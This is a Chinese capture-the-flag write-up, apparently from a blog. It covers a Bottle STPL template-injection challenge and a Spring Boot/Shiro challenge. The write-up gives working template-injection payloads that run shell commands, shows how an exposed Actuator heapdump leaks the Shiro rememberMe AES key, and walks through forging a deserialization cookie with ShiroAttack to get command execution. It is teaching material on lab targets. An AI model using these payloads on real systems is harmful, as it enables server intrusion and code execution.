实现 Python 代码执行,再用 _printlist() 回显代码执行结果即可。

比如:

python
{{__import__('os').popen('cat /flag').read()}}

和:

python
<%
_printlist([__import__('os').popen('cat /flag').read()])
%>

失效了,但可以换成输入:

python
% _printlist([__import__('os').popen('cat /flag').read()])

但实际情况是输入:

python
% _printlist([__import__('os').popen('cat /flag').read()])

后结果却原样显示。

image-20260512224628305

实际上这个 % 没有被 STPL 当成代码行解析,这里可以查看源码,找到:

html
<p class="text">% _printlist([__import__('os').popen('cat /flag').read()])</p>

说明评论内容是被拼到 HTML 里面了,这时候 % 前面有:

html
<div class="content">

所以 % 不是模板源码行首,STPL 就把它当普通文本显示了。

只需 在前面和后面同时加点东西 就行了,比如输入:

python
111
% _printlist([__import__('os').popen('cat /flag').read()])
222

切记 前面和后面都要换行 ,避免语法错误。

顺便看了一下别人的 wp,是用 abort 回显:

python
111
% import bottle
% a = __import__('os').popen('cat /flag').read()
% bottle.abort(404, a)
% end
222

abort()

是 Bottle 提供的函数,用来主动终止当前请求并返回指定状态码和内容,比如 abort(404, a) 就是让页面以 404 错误页的形式回显变量 a

逻辑是:

txt
执行命令
↓
结果存在变量 a 里
↓
用 abort(404, a) 抛出错误
↓
Bottle 错误页把 a 显示出来

SpringShiro

第一次见这么多附件,用 tree 命令看看树状图:

bash
tree SpringShiro

返回:

这是一个 Spring Boot 打包后的项目,但附件太多了,而且都是 .class.jar 这种 Java Web 项目的文件,不像 PHP / Python 题那样直接给源码。

现在要做的是先把 Spring Boot 项目结构看懂,但这里附件太多了,不能直接一上来审计所有文件,应该先逐层看目录结构,判断哪些才是重点。

  1. 先只看 SpringShiro 目录的第一层
    bash
    tree SpringShiro -L 1
    

    可以看到:
    txt
    SpringShiro
    ├── docker-compose.yml
    ├── Dockerfile
    ├── readflag.go
    └── src
    
    2 directories, 3 files
    

    docker-compose.ymlDockerfile 是容器部署文件,用来看题目怎么启动、开放什么端口、环境变量怎么设置。
    readflag.go 可能和最终读 flag 有关,说明后面 RCE 时不一定是直接 cat /flag
    src 是项目主体,可以继续往下看。
  2. 接着看 SpringShiro/src 目录
    bash
    tree SpringShiro/src -L 1
    

    可以看到大致结构:
    txt
    SpringShiro/src
    ├── BOOT-INF
    ├── META-INF
    ├── org
    └── SpringShiro.jar
    
    4 directories, 1 file
    

    BOOT-INF 是最重要的,里面有作者代码、配置文件和依赖。
    META-INF 是 jar 包元信息,不是重点。
    org/springframework/boot 是 Spring Boot 自己的启动器代码,一般不是题目作者写的,先不看。
    SpringShiro.jar 是原始 jar 包,后面需要用 jadx 反编译。
  3. 继续看 SpringShiro/src/BOOT-INF 目录
    bash
    tree SpringShiro/src/BOOT-INF -L 1
    

    可以看到:
    txt
    SpringShiro/src/BOOT-INF
    ├── classes
    ├── classpath.idx
    ├── layers.idx
    └── lib
    
    3 directories, 2 files
    

    classes 是最重要的,里面存放的是题目作者自己写的代码、配置文件和前端模板。
    lib 是项目依赖库,里面一般是各种 .jar 包,比如 Spring、Shiro、Tomcat、Thymeleaf 等,不用一个个打开,但后面要看有没有 Shiro 和反序列化常见依赖。
    classpath.idx 是 Spring Boot 打包时生成的 classpath 索引文件。
    layers.idx 是 Spring Boot 分层打包相关文件。
    所以这里的审计优先级是:
    txt
    classes > lib > classpath.idx / layers.idx
    

    classpath.idxlayers.idx 暂时不用看,继续往 classes 里面走。
  4. 继续看 SpringShiro/src/BOOT-INF/classes 目录
    bash
    tree SpringShiro/src/BOOT-INF/classes -L 3
    

    可以看到:
    txt
    SpringShiro/src/BOOT-INF/classes
    ├── application.properties
    ├── com
    │   └── example
    │       └── springshiro
    └── templates
        ├── index.html
        └── login.html
    
    5 directories, 3 files
    

    application.properties 是 Spring Boot 的配置文件,里面可能会有端口、框架配置、环境配置等信息。
    com/example/springshiro 是 Java 业务代码目录,也就是题目作者自己写的主要后端代码。
    templates 是前端模板目录,里面有 index.htmllogin.html,可以辅助判断有哪些页面、登录表单参数是什么。
    所以这里的重点是:
    txt
    com > application.properties > templates
    
  5. 继续看 SpringShiro/src/BOOT-INF/classes/com/example/springshiro 作者代码目录
    bash
    tree SpringShiro/src/BOOT-INF/classes/com/example/springshiro -L 2
    

    可以看到:
    txt
    SpringShiro/src/BOOT-INF/classes/com/example/springshiro
    ├── config
    │   ├── MyRealm.class
    │   └── ShiroConfig.class
    ├── controller
    │   └── IndexController.class
    └── SpringShiroApplication.class
    
    3 directories, 4 files
    

    这里是需要审计源码的地方。
    1. config 是配置目录,其中:
      • ShiroConfig.class 是重点,因为它的文件名就是 ShiroConfig,通常用来存放 Shiro 相关配置。
      • MyRealm.class 是 Shiro 的认证逻辑,一般用来看用户名密码怎么校验、登录成功后给什么身份。
    2. controller 是控制器目录,其中:
      • IndexController.class 一般是路由控制器,作用类似 Flask 里的 @app.route(),用来看 //login 等路径分别执行什么逻辑。
    3. SpringShiroApplication.class 是 Spring Boot 启动类,一般只负责启动项目,不是主要漏洞点。

    所以这里可以先得出审计重点:
    txt
    IndexController.class   看路由和页面逻辑
    ShiroConfig.class       看 Shiro 配置、rememberMe、cipherKey
    MyRealm.class           看登录认证逻辑
    
  6. 用 jadx 反编译 SpringShiro/src/SpringShiro.jar
    这里有一个问题:题目没有直接给 .java 源码,而是给了编译后的 .class 文件。
    .java 是 Java 源码,.class 是 Java 源码编译后的字节码文件,不能像 PHP / Python 那样直接阅读,所以需要先用 jadx 反编译:
    bash
    jadx -d /home/kali/Hello_CTF/111 /home/kali/Hello_CTF/SpringShiro/src/SpringShiro.jar 
    

    反编译后再看:
    bash
    tree 111/sources/com/example/springshiro -L 2
    

    返回:
    txt
    111/sources/com/example/springshiro
    ├── config
    │   ├── MyRealm.java
    │   └── ShiroConfig.java
    ├── controller
    │   └── IndexController.java
    └── SpringShiroApplication.java
    
    3 directories, 4 files
    
  7. 总结
    最后定位到这三个真正要看的源码文件:
    txt
    111/sources/com/example/springshiro/controller/IndexController.java
    111/sources/com/example/springshiro/config/ShiroConfig.java
    111/sources/com/example/springshiro/config/MyRealm.java
    

    后续正式代码审计时
    1. 先看路由:
      txt
      IndexController.java
      

      因为它是路由控制器,可以先知道网站有哪些入口。
    2. 再看:
      txt
      ShiroConfig.java
      MyRealm.java
      

      因为题目使用了 Shiro,这两个文件分别对应 Shiro 配置和登录认证逻辑。
      ShiroConfig.java 重点看:
      txt
      是否启用 rememberMe
      过滤规则怎么写
      登录认证由哪个 Realm 处理
      

      MyRealm.java 重点看:
      txt
      用户名密码怎么校验
      有没有硬编码账号密码
      登录成功后返回什么身份信息
      
    3. 然后看:
      txt
      SpringShiro/src/BOOT-INF/classes/application.properties
      

      因为 Spring Boot 的很多配置不一定写在 Java 代码里,而是写在配置文件里,比如端口、Shiro 登录跳转路径、Actuator 是否开放等。
    4. 接着看:
      txt
      SpringShiro/src/BOOT-INF/lib
      

      用来判断当前环境里有哪些依赖,从而判断能不能使用某条 Java 反序列化 gadget 链。
    5. 最后看:
      txt
      SpringShiro/Dockerfile
      SpringShiro/readflag.go
      

      用来确认容器环境和最终读 flag 的方式。因为附件里单独给了 readflag.go,所以后面 RCE 时不一定是直接 cat /flag,需要结合这两个文件判断最终命令。

IndexController.java:

java
package com.example.springshiro.controller;

import org.springframework.beans.factory.xml.BeanDefinitionParserDelegate;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;

@Controller
public class IndexController {
    @RequestMapping({"/"})
    public String index() {
        return BeanDefinitionParserDelegate.INDEX_ATTRIBUTE;
    }

    @RequestMapping({"/login"})
    public String login() {
        return "login";
    }
}

ShiroConfig.java:

java
package com.example.springshiro.config;

import org.apache.shiro.mgt.RememberMeManager;
import org.apache.shiro.realm.Realm;
import org.apache.shiro.spring.web.config.DefaultShiroFilterChainDefinition;
import org.apache.shiro.spring.web.config.ShiroFilterChainDefinition;
import org.apache.shiro.web.mgt.CookieRememberMeManager;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;

@Configuration
public class ShiroConfig {
    @Bean
    public Realm realm() {
        return new MyRealm();
    }

    @Bean
    public RememberMeManager rememberMeManager() {
        return new CookieRememberMeManager();
    }

    @Bean
    public ShiroFilterChainDefinition shiroFilterChainDefinition() {
        DefaultShiroFilterChainDefinition chainDefinition = new DefaultShiroFilterChainDefinition();
        chainDefinition.addPathDefinition("/**", "authc");
        return chainDefinition;
    }
}

MyRealm.java:

java
package com.example.springshiro.config;

import org.apache.shiro.authc.AuthenticationException;
import org.apache.shiro.authc.AuthenticationInfo;
import org.apache.shiro.authc.AuthenticationToken;
import org.apache.shiro.authc.IncorrectCredentialsException;
import org.apache.shiro.authc.SimpleAuthenticationInfo;
import org.apache.shiro.authc.UsernamePasswordToken;
import org.apache.shiro.authz.AuthorizationInfo;
import org.apache.shiro.realm.AuthorizingRealm;
import org.apache.shiro.subject.PrincipalCollection;

public class MyRealm extends AuthorizingRealm {
    @Override
    protected AuthenticationInfo doGetAuthenticationInfo(AuthenticationToken authenticationToken) throws AuthenticationException {
        UsernamePasswordToken token = (UsernamePasswordToken) authenticationToken;
        String username = token.getUsername();
        String password = new String(token.getPassword());
        if (username.equals("admin") && password.equals("123456")) {
            return new SimpleAuthenticationInfo(username, password, getName());
        }
        throw new IncorrectCredentialsException("username or password is incorrect");
    }

    @Override
    protected AuthorizationInfo doGetAuthorizationInfo(PrincipalCollection principalCollection) {
        return null;
    }
}

先补充一点前置知识:

  1. Spring / Spring Boot
    Spring 是 Java 里非常常见的 Web 框架。Spring Boot 可以理解成 Spring 的简化版,用来快速启动一个 Java Web 项目。
    这类题给到的附件经常不是 .java 源码,而是打包后的 .jar.class 文件,所以不能像 PHP / Python 那样直接读源码。
    Spring Boot 打包后的项目里,常见重点目录是:
    txt
    BOOT-INF/classes
    BOOT-INF/lib
    

    其中:
    txt
    BOOT-INF/classes
    

    一般存放题目作者自己写的代码、配置文件和模板。
    txt
    BOOT-INF/lib
    

    一般存放项目依赖,比如 Spring、Shiro、Tomcat、commons-beanutils、commons-collections 等 jar 包。
  2. application.properties
    Spring Boot 项目里经常有一个配置文件:
    txt
    application.properties
    

    它不是 Java 代码,但很多项目配置不会写在 Controller 里,而是写在这个文件里,比如:
    txt
    服务端口
    登录跳转路径
    Shiro 配置
    Actuator 是否开放
    环境配置
    

    所以审计 Spring Boot 题目时,不能只看 .java 文件,也要看 application.properties
  3. Spring Boot Actuator
    Spring Boot Actuator 可以理解成 Spring Boot 自带的“管理接口”。
    它可以暴露一些项目运行信息,比如:
    txt
    健康状态
    环境变量
    配置项
    路由信息
    运行信息
    

    常见端点可能有:
    text
    /actuator/health
    /actuator/env
    /actuator/mappings
    /actuator/heapdump
    

    其中:
    • /actuator 表示 Actuator 的目录页,一般会返回当前项目实际开放了哪些管理接口。
    • /actuator/env 常用来看环境变量和配置项。
    • /actuator/heapdump 用来导出 Java 程序运行时的堆内存,也就是 JVM 里当前保存的一些对象和数据。

    如果配置文件里出现:
    properties
    management.endpoints.web.exposure.include=*
    

    说明 Actuator 的 Web 管理接口被开放。遇到这种配置时,先访问 /actuator,看它返回了哪些端点,再根据返回结果继续访问。
  4. Java 里的路由
    Spring 里一般用注解写路由,比如:
    java
    @Controller
    public class IndexController {
        @RequestMapping("/")
        public String index() {
            return "index";
        }
    }
    

    其中:
    java
    @Controller
    

    表示这是一个处理网页请求的类。
    java
    @RequestMapping("/")
    

    表示访问 / 这个路径时,会执行下面的 index() 方法。
    所以在 Java 里找路由,一般重点找这些关键词:
    bash
    @RequestMapping
    @GetMapping
    @PostMapping
    
  5. Shiro
    Apache Shiro 是 Java 里的一个安全框架,主要负责:
    txt
    登录认证
    权限判断
    会话管理
    rememberMe 记住我
    

    即 Shiro 是 Java Web 里专门管登录和权限的一套组件。
    在 Shiro 里,常见几个关键词是:
    text
    Realm
    authc
    rememberMe
    CookieRememberMeManager
    

    Realm 可以理解成登录认证逻辑,通常用来判断用户名和密码对不对。
    authc 表示需要登录后才能访问。
    rememberMe 是“记住我”功能。
    CookieRememberMeManager 是 Shiro 用来处理 rememberMe cookie 的组件。
  6. Shiro rememberMe 反序列化
    Shiro 的 rememberMe 功能大致流程是:
    txt
    用户登录并勾选 rememberMe
    ↓
    Shiro 把用户身份信息序列化
    ↓
    AES 加密
    ↓
    Base64 编码
    ↓
    放进 rememberMe cookie
    

    也就是:
    http
    rememberMe = Base64(AES(序列化数据))
    

    之后用户再次访问网站时:
    txt
    读取 rememberMe cookie
    ↓
    Base64 解码
    ↓
    AES 解密
    ↓
    Java 反序列化
    ↓
    恢复用户身份
    

    危险点就在最后一步的 Java 反序列化。
    如果攻击者知道 rememberMe 的 AES 密钥,并且项目里有可用的 gadget 链,就可以伪造恶意 rememberMe cookie,触发反序列化命令执行。
    所以 Shiro rememberMe 反序列化需要关注三个条件:
    text
    1. 是否启用了 rememberMe
    2. rememberMe AES 密钥能不能拿到
    3. 项目依赖里有没有可用 gadget 链
    
  7. gadget 链
    gadget 链可以类比 PHP 反序列化里的 POP 链。
    PHP POP 链是:
    php
    __destruct()
    ↓
    __toString()
    ↓
    __call()
    ↓
    eval/system
    

    Java gadget 链也是类似的思想:
    txt
    反序列化某个对象
    ↓
    自动触发某些方法
    ↓
    这些方法继续调用别的类
    ↓
    最后走到 Runtime.exec / TemplatesImpl / 命令执行点
    

    只不过 Java 里不叫 POP 链,通常叫 gadget chain。
    CTF 里常见工具是 ysoserial ,它可以直接生成一些常见 Java 反序列化利用链 payload。
    但是 ysoserial 不是随便选链子用,具体能不能用,要看项目依赖里有没有对应的 jar 包。比如依赖里出现:
    txt
    commons-beanutils
    commons-collections
    

    就可以考虑尝试 CommonsBeanutils / CommonsCollections 相关链。
  8. Shiro 反序列化漏洞
    Shiro rememberMe 反序列化漏洞的本质是:
    txt
    rememberMe cookie 可控
    ↓
    Shiro 会自动解密并反序列化 rememberMe
    ↓
    如果 AES 密钥可知
    ↓
    攻击者就能伪造一个恶意 rememberMe cookie
    ↓
    服务端反序列化时触发 gadget 链
    ↓
    RCE
    

    所以这类题的核心条件一般是:
    txt
    1. 项目使用了 Shiro
    2. 开启了 rememberMe
    3. Shiro rememberMe 加密密钥可知、默认、弱密钥,或者在源码里泄露
    4. 项目依赖里存在可用 gadget 链
    

回到题目,进行一般的审计流程:

  1. 分析附件目录结构
    经过前面的目录分析和 jadx 反编译,先把需要关注的文件分成几类。
    首先是作者写的 Java 代码:
    txt
    111/sources/com/example/springshiro/controller/IndexController.java
    111/sources/com/example/springshiro/config/ShiroConfig.java
    111/sources/com/example/springshiro/config/MyRealm.java
    

    这三个文件分别用来看:
    txt
    IndexController.java   路由和页面入口
    ShiroConfig.java       Shiro 配置、rememberMe、过滤规则
    MyRealm.java           登录认证逻辑、账号密码校验
    

    然后是 Spring Boot 配置文件:
    txt
    SpringShiro/src/BOOT-INF/classes/application.properties
    

    这个文件不是 Java 代码,但也很重要。Spring Boot 里很多配置不一定写在源码里,而是写在 application.properties 里,比如服务端口、Shiro 登录跳转路径、Actuator 是否开放等。
    接着是项目依赖目录:
    txt
    SpringShiro/src/BOOT-INF/lib
    

    这个目录用来判断当前环境里有哪些依赖,从而判断后面能不能使用某条 Java 反序列化 gadget 链。
    最后是容器和读 flag 相关文件:
    txt
    SpringShiro/Dockerfile
    SpringShiro/readflag.go
    

    Dockerfile 用来看容器怎么启动、flag 放在哪里、文件权限怎么设置。
    readflag.go 可能和最终读取 flag 有关。
    所以后面即使拿到了 RCE,也可能要结合 Dockerfilereadflag.go 判断最终应该怎么读 flag。
    所以这题的审计顺序可以先定为:
    text
    IndexController.java
    ↓
    ShiroConfig.java
    ↓
    MyRealm.java
    ↓
    application.properties
    ↓
    BOOT-INF/lib
    ↓
    Dockerfile / readflag.go
    

    也就是:
    txt
    先看路由和入口
    再看 Shiro 配置和登录逻辑
    接着看 Spring Boot 配置
    然后看依赖能不能支撑反序列化利用
    最后看容器环境和最终读 flag 方式
    
  2. 看路由和入口
    看到路由文件 IndexController.java
    java
    @Controller
    public class IndexController {
        @RequestMapping({"/"})
        public String index() {
            return BeanDefinitionParserDelegate.INDEX_ATTRIBUTE;
        }
    
        @RequestMapping({"/login"})
        public String login() {
            return "login";
        }
    }
    

    这里只能说明有 //login 两个页面入口,没有参数处理,也没有危险函数,所以 IndexController.java 只是普通路由文件,本身没有漏洞。
  3. 看 Shiro 配置
    继续看 ShiroConfig.java
    java
    @Configuration
    public class ShiroConfig {
        @Bean
        public Realm realm() {
            return new MyRealm();
        }
    
        @Bean
        public RememberMeManager rememberMeManager() {
            return new CookieRememberMeManager();
        }
    
        @Bean
        public ShiroFilterChainDefinition shiroFilterChainDefinition() {
            DefaultShiroFilterChainDefinition chainDefinition = new DefaultShiroFilterChainDefinition();
            chainDefinition.addPathDefinition("/**", "authc");
            return chainDefinition;
        }
    }
    
    1. 先看:
      java
      @Bean
      public Realm realm() {
          return new MyRealm();
      }
      

      Realm 可以理解成 Shiro 里的认证逻辑处理器。这里返回的是 new MyRealm(),说明具体的用户名密码校验逻辑在 MyRealm.java 里。
    2. 再看:
      java
      @Bean
      public RememberMeManager rememberMeManager() {
          return new CookieRememberMeManager();
      }
      

      这里创建了 CookieRememberMeManager,说明本题确实启用了 Shiro 的 rememberMe 相关逻辑。
      也就是说,后续如果浏览器带上 rememberMe 的cookie,Shiro 就会尝试读取这个 cookie,并进行:
      txt
      Base64 解码
      ↓
      AES 解密
      ↓
      Java 反序列化
      

      所以这里可以作为 Shiro 反序列化的入口继续分析,但能否真正 RCE,还需要继续确认两个条件:
      1. rememberMe 的 AES 密钥能不能拿到。
      2. 项目依赖里有没有可用的 gadget 链。
    3. 继续看过滤规则:
      java
      chainDefinition.addPathDefinition("/**", "authc");
      

      /** 表示所有路径,authc 表示必须登录后才能访问。所以这段配置的意思是访问后续所有路径都需要登录。
  4. 看登录认证逻辑
    继续看 MyRealm.java
    java
    public class MyRealm extends AuthorizingRealm {
        @Override
        protected AuthenticationInfo doGetAuthenticationInfo(AuthenticationToken authenticationToken) throws AuthenticationException {
            UsernamePasswordToken token = (UsernamePasswordToken) authenticationToken;
            String username = token.getUsername();
            String password = new String(token.getPassword());
            if (username.equals("admin") && password.equals("123456")) {
                return new SimpleAuthenticationInfo(username, password, getName());
            }
            throw new IncorrectCredentialsException("username or password is incorrect");
        }
    
        @Override
        protected AuthorizationInfo doGetAuthorizationInfo(PrincipalCollection principalCollection) {
            return null;
        }
    }
    

    这里逻辑是先把登录请求里的账号密码取出来:
    java
    String username = token.getUsername();
    String password = new String(token.getPassword());
    

    然后判断:
    java
    if (username.equals("admin") && password.equals("123456"))
    

    所以账号密码就是 admin/123456,且只要输入正确账号密码,就能通过 Shiro 登录认证。
  5. 查看配置文件
    接着看 Spring Boot 的配置文件 application.properties
    properties
    spring.application.name=SpringShiro
    server.port=8000
    
    shiro.loginUrl=/login
    shiro.successUrl=/index
    
    management.endpoints.web.exposure.include=*
    

    看 Shiro 相关配置:
    properties
    shiro.loginUrl=/login
    shiro.successUrl=/index
    

    shiro.loginUrl=/login 表示用户没有登录时,会跳转到 /login。这和前面 IndexController.java 里的 /login 路由对应。
    shiro.successUrl=/index 表示登录成功后,默认跳转到 /index
    重点看:
    properties
    management.endpoints.web.exposure.include=*
    

    这说明项目开放了 Spring Boot Actuator 的 Web 管理接口。
  6. 查看靶机的 Actuator 接口
    前面配置文件里有:
    properties
    management.endpoints.web.exposure.include=*
    

    说明 Actuator 管理接口被开放。
    由于 ShiroConfig.java 里配置了:
    java
    chainDefinition.addPathDefinition("/**", "authc");
    

    所以所有路径都需要登录后访问。
    先使用前面在 MyRealm.java 里找到的账号密码登录:
    txt
    admin / 123456
    

    登录后访问 /actuator,返回结果里可以看到多个开放的端点,其中关键的是:
    txt
    /actuator/env
    /actuator/heapdump
    

    访问 /actuator/env 会直接拿到 flag,这算一个非预期。
    访问 /actuator/heapdump 会下载 heapdump 的附件,heapdump 是 Java 程序运行时的堆内存文件,里面可能包含程序运行时保存的对象和数据。
    前面在 ShiroConfig.java 里只看到:
    java
    return new CookieRememberMeManager();
    

    但是没有看到手动设置 cipherKey
    而 Shiro rememberMe 反序列化必须知道 AES 密钥,所以接下来尝试下载 heapdump,从运行时内存里找 rememberMe 的 AES key。
  7. 使用 JDumpSpider 提取 ShiroKey
    先访问 /actuator/heapdump 下载 heapdump 文件。
    JDumpSpider 是一个 heapdump 敏感信息提取工具,可以自动从堆内存里提取一些常见敏感信息,包括 Shiro 的 CookieRememberMeManager key。
    下载:
    bash
    wget https://github.com/whwlsfb/JDumpSpider/releases/download/V1.1/JDumpSpider-1.1-SNAPSHOT-full.jar
    

    执行:
    bash
    java -jar JDumpSpider-1.1-SNAPSHOT-full.jar heapdump
    

    返回结果中找 ShiroKey,看到:
    txt
    ===========================================
    CookieRememberMeManager(ShiroKey)
    -------------
    algMode = GCM, key = lewXTrPKeO1lIkIMeg4GvA==, algName = AES
    

    成功提取到了 Shiro rememberMe 的 AES key:
    txt
    lewXTrPKeO1lIkIMeg4GvA==
    

    这里的 key 就是后面伪造 Shiro rememberMe cookie 要用的 AES 密钥。
  8. 查看依赖和确定 gadget 链
    前面已经拿到了 Shiro rememberMe 的 AES key:
    txt
    lewXTrPKeO1lIkIMeg4GvA==
    

    但是只有 key 还不够,Shiro rememberMe 反序列化的完整利用还需要一个 gadget 链。而且生成 payload 时不是随便选链子,要看项目里有没有对应依赖。
    查看项目依赖:
    bash
    tree SpringShiro/src/BOOT-INF/lib 
    

    返回:
    可以看到:
    txt
    commons-beanutils-1.9.4.jar
    commons-collections-3.2.2.jar
    

    这里说明项目里存在 Java 反序列化常见 gadget 链相关依赖。
    其中:
    txt
    commons-beanutils-1.9.4.jar
    

    可以使用 CommonsBeanutils1 链。
    txt
    commons-collections-3.2.2.jar
    

    是 Java 反序列化里常见的辅助依赖,很多 gadget 链都会用到。
  9. 确认 flag 读取逻辑
    SpringShiro/Dockerfile:
    dockerfile
    FROM golang:1.21 AS builder
    
    COPY ./readflag.go /app/readflag.go
    
    WORKDIR /app
    
    RUN go build readflag.go
    
    FROM openjdk:8u212-jdk-slim
    
    COPY ./src /app
    
    COPY --from=builder /app/readflag /readflag
    
    WORKDIR /app
    
    RUN echo 0xGame{test} > /flag && \
        groupadd -r app && \
        useradd -r -g app app && \
        chmod 400 /flag && \
        chmod 4755 /readflag
    
    USER app
    
    EXPOSE 8000
    
    CMD java -jar SpringShiro.jar
    

    SpringShiro/readflag.go:
    go
    package main
    
    import (
    	"fmt"
    	"os"
    )
    
    func main() {
    	res, _ := os.ReadFile("/flag")
    	fmt.Print(string(res))
    }
    

    首先:
    dockerfile
    chmod 400 /flag
    

    表示 /flag 只有文件所有者可以读取。
    而容器后面又切换到了普通用户:
    dockerfile
    USER app
    

    也就是说,Spring Boot 程序不是用 root 用户运行的,而是用 app 用户运行的。
    所以即使后面通过 Shiro 反序列化拿到了 RCE,命令也是以 app 用户身份执行的。此时如果直接执行:
    bash
    cat /flag
    

    会因为权限不够读不到 flag。
    继续看:
    dockerfile
    chmod 4755 /readflag
    

    这里的 4755 中最前面的 4,表示给 /readflag 设置了 SUID 权限,会临时以文件所有者的权限运行。所以 app 用户执行 /readflag 时,就可以借助 SUID 权限读取 /flag
    因此后面 RCE 的最终命令不应该写成:
    bash
    cat /flag
    

    而应该写成:
    bash
    /readflag
    
  10. 生成 rememberMe payload
    前面已经确定了几个条件:
    txt
    1. ShiroConfig.java 中启用了 CookieRememberMeManager。
    2. heapdump 中提取到了 rememberMe 的 AES key。
    3. JDumpSpider 提示 algMode = GCM。
    4. BOOT-INF/lib 中存在 commons-beanutils / commons-collections 依赖。
    5. Dockerfile 中确认不能直接 cat /flag,最终应该执行 /readflag。
    

    所以现在的利用思路就是:
    txt
    用 gadget 链生成恶意序列化数据
    ↓
    用 Shiro AES key 加密
    ↓
    生成 rememberMe cookie
    ↓
    把 cookie 带给目标
    ↓
    Shiro 解密并反序列化
    ↓
    触发命令执行
    

    这里没有选择单独用 ysoserial,而是使用 ShiroAttack
    原因是 ysoserial 本身主要负责生成 Java 反序列化 payload,它生成出来的是原始序列化数据,不会自动帮我们处理 Shiro 的 rememberMe 加密格式。
    但是 Shiro rememberMe 利用需要的不只是 gadget payload,还需要:
    txt
    序列化 payload
    ↓
    AES-GCM 加密
    ↓
    Base64 编码
    ↓
    放进 rememberMe cookie
    

    也就是说,单独用 ysoserial 的话,还要自己写脚本处理 Shiro 的加密和 cookie 生成,而 ShiroAttack 已经把这些流程集成好了。
    https://github.com/SummerSec/ShiroAttack2 下载并启动 ShiroAttack,记得要用 Java 8。
    界面这样填:
    txt
    目标地址:http://docker.qingcen.net:32960/login
    
    关键字:rememberMe
    指定密钥:lewXTrPKeO1lIkIMeg4GvA==
    AES GCM:勾选
    填好后点检测当前密钥,日志里出现“找到key:lewXTrPKeO1lIkIMeg4GvA==”。
    
    利用链:commonsBeanutils1
    回显方式:TomcatEcho
    填好后点爆破利用链及回显,日志里出现“发现构造链:CommonsBeanutils1  回显方式: AllEcho”。
    
    命令执行:/readflag
    点击执行后得到 flag
    

    image-20260513235837647
0xGame2025 web大部分WP(精简版)
moectf2025部分WP

评论区

评论加载中...